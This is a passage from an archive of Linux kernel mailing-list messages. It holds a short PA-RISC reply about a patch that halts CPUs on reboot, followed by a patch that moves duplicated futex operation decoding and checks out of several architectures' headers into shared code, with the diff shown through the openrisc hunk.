X-Trace: blaine.gmane.org 1494833959 26520 195.159.176.226 (15 May 2017 07:39:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 May 2017 07:39:19 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 15 09:39:15 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dAAb5-00055c-A8
	for glpp-linux-parisc@m.gmane.org; Mon, 15 May 2017 09:39:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751624AbdEOHjV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 15 May 2017 03:39:21 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:56638 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751211AbdEOHjU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 15 May 2017 03:39:20 -0400
Original-Received: from [10.95.163.206] ([155.56.40.73]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LhOvA-1dnvG42Tom-00mXfD; Mon, 15
 May 2017 09:39:12 +0200
In-Reply-To: <267CAD7B-3DB7-457E-8A82-2CFB2FF07587@bell.net>
X-Provags-ID: V03:K0:ZQMvYUvNUnXkI/D14GTfUzOUj5h3mIpsceHOOI4GBtmZ4n8OxNs
 mOcFYW/9+XK7yeIG0rUOdftkT0AhWfVx1PSZ3n8H0bCMq1i+uQ1JrTE0Pq+kTy2E80wsPgJ
 B3yqgeKVNrHa6eJr48uhN0RWH8rqH66b0dojiQ+z20sUNnKWUGZBM1XEzUvETsP64FOdXR6
 JOlig0LOablCbSkKu2CpQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:egpzUujJ+vc=:+Vriy618Q37QcWj5TiH4hX
 sUNICZznFa5Qt2HqvAMDFDxP6E33jJsZnrWOobqH1A5J04R3iNqpqyxwJ0Q2cC/y4yGCO8tFb
 DQtJ3bszrDPz3kjuV1V0il3T00V9icdcR7da45Fo3Hs+S+7perkW9cGmLHpo26zBH2oCkxH+q
 MIzjBWltX0gBjphyk6EVOsyho6kRD4IgJM6P2WCtaFkWrQpT0IQ6HUvycZg0wrnOO9+EDF/Az
 qp92JK0+iaRLCZp5wZOIQoKHKF6PmtFPmFxbeanKcJ0TNmEK92Q8qXZxBJDM5eA+9RiauZbKL
 k8GNOZv6OZHQpMJ7rrqLiaWfK/aBks1+1OGEG/2L7FU1ajACDCKSbEiAfe2FYAEt78A+2OMtS
 QO3rrf+ZkZtVmurOyhiTrXcSjpTZH2b0X5ziDRODO2KJlLvblfrLmkmDnryaGvKDsLFADYVF2
 ZRT03ruYSpPtGg9+Fe/IH2BL6I2v+jBHPkiNyuuNcKfXf75WIwBx3AOvCAIvyLLfAjllpXY3R
 EVHNXzyJ0Xd5xmZUDFSpdd5/ofduAR/L6AcG08HgILDKI+nhI8yMLPJee6wdriEnB/GEjt4wt
 h+FSbVwaRJb/481UvR+of73H+2eOFABJTBeQZ9AYNgc9zn7yu3z4K2Ll49nYJ6MQfCpxEoo7y
 SA1HRq/Wkf3AUGYU7DQKsTfK8gAu9WojRcahYOXNEuldKFiWRjJvJRD3WmIpC23j/8d6Vy8Qt
 CDKrT9emDrafaeCtk3e3ePuBAy1+ITvBMugCe+EeUe9qmz3sI20BKWZTl34Izza+bOJCn4Q5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27416
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27416>

On 15.05.2017 02:42, John David Anglin wrote:
> On 2017-05-12, at 12:55 PM, Helge Deller wrote:
> 
>> Dave reported that he had issued a "shutdown -r" and a panic occurred during
>> the reboot while all CPUs were still up. After this, stall messages were output
>> to console after the firmware version was printed.
>>
>> To avoid that issue, add functions to call PAT firmware to stop all CPUs (with
>> the exception of the currently running CPU) before a panic reboot or a system
>> halt is issued.
> 
> This patch causes a problem with "shutdown -h" on my c8000.  After the system prints
> the message that it is okay to power off, the front panel LED shows a flashing red, and pressing
> the power button once doesn't power the system down.  Pressing it again causes the system
> to reboot.

I noticed that during my testing as well.
It seems that the firmware call stops the whole socket, not just one CPU.
Maybe it's another problem as well?

Anyway, I did included an updated patch [1] in my last git pull request to Linus (which actually
didn't made it into 4.12...).
Can you test this one instead?

Helge


[1] https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git/commit/?h=parisc-4.12-1&id=5aa2aabff1ce642a0c16b8c25bce8dc5ad66ad81
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 1/1] futex: remove duplicated code
Date: Mon, 15 May 2017 15:07:42 +0200
Lines: 1173
Approved: news@gmane.org
Message-ID: <20170515130742.18357-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1494853682 32403 195.159.176.226 (15 May 2017 13:08:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 May 2017 13:08:02 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
To: tglx@linutronix.de
Original-X-From: linux-arch-owner@vger.kernel.org Mon May 15 15:07:52 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1dAFj4-0006kR-43
	for glka-linux-arch@m.gmane.org; Mon, 15 May 2017 15:07:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1758910AbdEONHx (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Mon, 15 May 2017 09:07:53 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:37253 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1756459AbdEONHv (ORCPT <rfc822;linux-arch@vger.kernel.org>);
        Mon, 15 May 2017 09:07:51 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 8A572AB43;
        Mon, 15 May 2017 13:07:47 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:36433 gmane.linux.kernel:2475052 gmane.linux.ports.alpha:4187 gmane.linux.kernel.arc:2385 gmane.linux.ports.arm.kernel:577669 gmane.linux.ports.hexagon:1191 gmane.linux.ports.ia64:27796 gmane.linux.ports.mips.general:59055 gmane.linux.ports.parisc:27417 gmane.linux.ports.ppc64.devel:142125 gmane.linux.ports.sh.devel:55222 gmane.linux.ports.sparc:25026
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/36433>

There is code duplicated over all architecture's headers for
futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
and comparison of the result.

Remove this duplication and leave up to the arches only the needed
assembly which is now in arch_futex_atomic_op_inuser.

Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
remove pointless access_ok() checks") as access_ok there returns true.
We introduce it back to the helper for the sake of simplicity (it gets
optimized away anyway).

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Vineet Gupta <vgupta@synopsys.com>
Acked-by: Russell King <rmk+kernel@armlinux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Michal Simek <monstr@monstr.eu>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Jonas Bonn <jonas@southpole.se>
Cc: Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>
Cc: Stafford Horne <shorne@gmail.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Acked-by: Michael Ellerman <mpe@ellerman.id.au> (powerpc)
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Acked-by: Heiko Carstens <heiko.carstens@de.ibm.com> [s390]
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>
Cc: Rich Felker <dalias@libc.org>
Cc: "David S. Miller" <davem@davemloft.net>
Acked-by: Chris Metcalf <cmetcalf@mellanox.com> [for tile]
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: Chris Zankel <chris@zankel.net>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: <x86@kernel.org>
Cc: <linux-alpha@vger.kernel.org>
Cc: <linux-kernel@vger.kernel.org>
Cc: <linux-snps-arc@lists.infradead.org>
Cc: <linux-arm-kernel@lists.infradead.org>
Cc: <linux-hexagon@vger.kernel.org>
Cc: <linux-ia64@vger.kernel.org>
Cc: <linux-mips@linux-mips.org>
Cc: <openrisc@lists.librecores.org>
Cc: <linux-parisc@vger.kernel.org>
Cc: <linuxppc-dev@lists.ozlabs.org>
Cc: <linux-s390@vger.kernel.org>
Cc: <linux-sh@vger.kernel.org>
Cc: <sparclinux@vger.kernel.org>
Cc: <linux-xtensa@linux-xtensa.org>
Cc: <linux-arch@vger.kernel.org>
---
 arch/alpha/include/asm/futex.h      | 26 ++++---------------
 arch/arc/include/asm/futex.h        | 40 ++++-------------------------
 arch/arm/include/asm/futex.h        | 26 +++----------------
 arch/arm64/include/asm/futex.h      | 26 +++----------------
 arch/frv/include/asm/futex.h        |  3 ++-
 arch/frv/kernel/futex.c             | 27 +++-----------------
 arch/hexagon/include/asm/futex.h    | 38 +++-------------------------
 arch/ia64/include/asm/futex.h       | 25 +++----------------
 arch/microblaze/include/asm/futex.h | 38 +++-------------------------
 arch/mips/include/asm/futex.h       | 25 +++----------------
 arch/openrisc/include/asm/futex.h   | 39 +++--------------------------
 arch/parisc/include/asm/futex.h     | 26 +++----------------
 arch/powerpc/include/asm/futex.h    | 26 ++++---------------
 arch/s390/include/asm/futex.h       | 23 ++++-------------
 arch/sh/include/asm/futex.h         | 26 +++----------------
 arch/sparc/include/asm/futex_64.h   | 26 ++++---------------
 arch/tile/include/asm/futex.h       | 40 ++++-------------------------
 arch/x86/include/asm/futex.h        | 40 ++++-------------------------
 arch/xtensa/include/asm/futex.h     | 27 ++++----------------
 include/asm-generic/futex.h         | 50 +++++++------------------------------
 kernel/futex.c                      | 36 ++++++++++++++++++++++++++
 21 files changed, 127 insertions(+), 506 deletions(-)

diff --git a/arch/alpha/include/asm/futex.h b/arch/alpha/include/asm/futex.h
index fb01dfb760c2..05a70edd57b6 100644
--- a/arch/alpha/include/asm/futex.h
+++ b/arch/alpha/include/asm/futex.h
@@ -25,18 +25,10 @@
 	:	"r" (uaddr), "r"(oparg)				\
 	:	"memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -62,17 +54,9 @@ static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arc/include/asm/futex.h b/arch/arc/include/asm/futex.h
index 11e1b1f3acda..eb887dd13e74 100644
--- a/arch/arc/include/asm/futex.h
+++ b/arch/arc/include/asm/futex.h
@@ -73,20 +73,11 @@
 
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
-
 #ifndef CONFIG_ARC_HAS_LLSC
 	preempt_disable();	/* to guarantee atomic r-m-w of futex op */
 #endif
@@ -118,30 +109,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arm/include/asm/futex.h b/arch/arm/include/asm/futex.h
index 6795368ad023..cc414382dab4 100644
--- a/arch/arm/include/asm/futex.h
+++ b/arch/arm/include/asm/futex.h
@@ -128,20 +128,10 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 #endif /* !SMP */
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 #ifndef CONFIG_SMP
 	preempt_disable();
 #endif
@@ -172,17 +162,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arm64/include/asm/futex.h b/arch/arm64/include/asm/futex.h
index 85c4a8981d47..5bb2fd4674e7 100644
--- a/arch/arm64/include/asm/futex.h
+++ b/arch/arm64/include/asm/futex.h
@@ -48,20 +48,10 @@ do {									\
 } while (0)
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -91,17 +81,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/frv/include/asm/futex.h b/arch/frv/include/asm/futex.h
index 2e1da71e27a4..ab346f5f8820 100644
--- a/arch/frv/include/asm/futex.h
+++ b/arch/frv/include/asm/futex.h
@@ -7,7 +7,8 @@
 #include <asm/errno.h>
 #include <linux/uaccess.h>
 
-extern int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr);
+extern int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr);
 
 static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
diff --git a/arch/frv/kernel/futex.c b/arch/frv/kernel/futex.c
index d155ca9e5098..37f7b2bf7f73 100644
--- a/arch/frv/kernel/futex.c
+++ b/arch/frv/kernel/futex.c
@@ -186,20 +186,10 @@ static inline int atomic_futex_op_xchg_xor(int oparg, u32 __user *uaddr, int *_o
 /*
  * do the futex operations
  */
-int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+int arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -225,18 +215,9 @@ int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS; break;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 
-} /* end futex_atomic_op_inuser() */
+} /* end arch_futex_atomic_op_inuser() */
diff --git a/arch/hexagon/include/asm/futex.h b/arch/hexagon/include/asm/futex.h
index 7e597f8434da..c607b77c8215 100644
--- a/arch/hexagon/include/asm/futex.h
+++ b/arch/hexagon/include/asm/futex.h
@@ -31,18 +31,9 @@
 
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, int __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -72,30 +63,9 @@ futex_atomic_op_inuser(int encoded_op, int __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/ia64/include/asm/futex.h b/arch/ia64/include/asm/futex.h
index 76acbcd5c060..6d67dc1eaf2b 100644
--- a/arch/ia64/include/asm/futex.h
+++ b/arch/ia64/include/asm/futex.h
@@ -45,18 +45,9 @@ do {									\
 } while (0)
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -84,17 +75,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/microblaze/include/asm/futex.h b/arch/microblaze/include/asm/futex.h
index 01848f056f43..a9dad9e5e132 100644
--- a/arch/microblaze/include/asm/futex.h
+++ b/arch/microblaze/include/asm/futex.h
@@ -29,18 +29,9 @@
 })
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,30 +57,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/mips/include/asm/futex.h b/arch/mips/include/asm/futex.h
index 1de190bdfb9c..a9e61ea54ca9 100644
--- a/arch/mips/include/asm/futex.h
+++ b/arch/mips/include/asm/futex.h
@@ -83,18 +83,9 @@
 }
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -125,17 +116,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/openrisc/include/asm/futex.h b/arch/openrisc/include/asm/futex.h
index 778087341977..8fed278a24b8 100644
--- a/arch/openrisc/include/asm/futex.h
+++ b/arch/openrisc/include/asm/futex.h
@@ -30,20 +30,10 @@
 })
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
